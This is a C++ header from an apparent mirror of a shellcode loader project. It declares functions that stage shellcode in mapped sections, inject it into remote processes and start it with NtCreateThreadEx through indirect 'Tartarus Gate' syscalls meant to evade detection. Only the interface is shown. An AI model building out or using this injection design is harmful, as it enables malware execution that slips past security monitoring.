mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
(Havox)
44 lines
1.2 KiB
C++
44 lines
1.2 KiB
C++
#pragma once
|
|
|
|
#include <Windows.h>
|
|
#include <cstdint>
|
|
#include <vector>
|
|
|
|
#include "../syscall/tartarus_gate.hpp"
|
|
|
|
namespace SectionMap {
|
|
|
|
struct MappedRegion {
|
|
HANDLE section = nullptr;
|
|
PVOID localView = nullptr;
|
|
PVOID remoteView = nullptr;
|
|
SIZE_T viewSize = 0;
|
|
bool mappedRemote = false;
|
|
};
|
|
|
|
// Stage shellcode via anonymous section + NtMapViewOfSection (W^X).
|
|
// Replaces naive NtAllocateVirtualMemory for local ingestion.
|
|
bool StageLocal(
|
|
TartarusGate::SyscallTable& sc,
|
|
const std::vector<BYTE>& shellcode,
|
|
MappedRegion& out);
|
|
|
|
// Map staged section into remote process (shared section object).
|
|
bool MapRemote(
|
|
TartarusGate::SyscallTable& sc,
|
|
HANDLE targetProcess,
|
|
MappedRegion& region);
|
|
|
|
// Execute shellcode locally via NtCreateThreadEx (indirect syscall).
|
|
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry);
|
|
|
|
// Execute in remote process via NtCreateThreadEx.
|
|
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry);
|
|
|
|
// Release views and section handle.
|
|
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess);
|
|
|
|
// Align size to page boundary.
|
|
SIZE_T PageAlign(SIZE_T size);
|
|
|
|
} // namespace SectionMap
|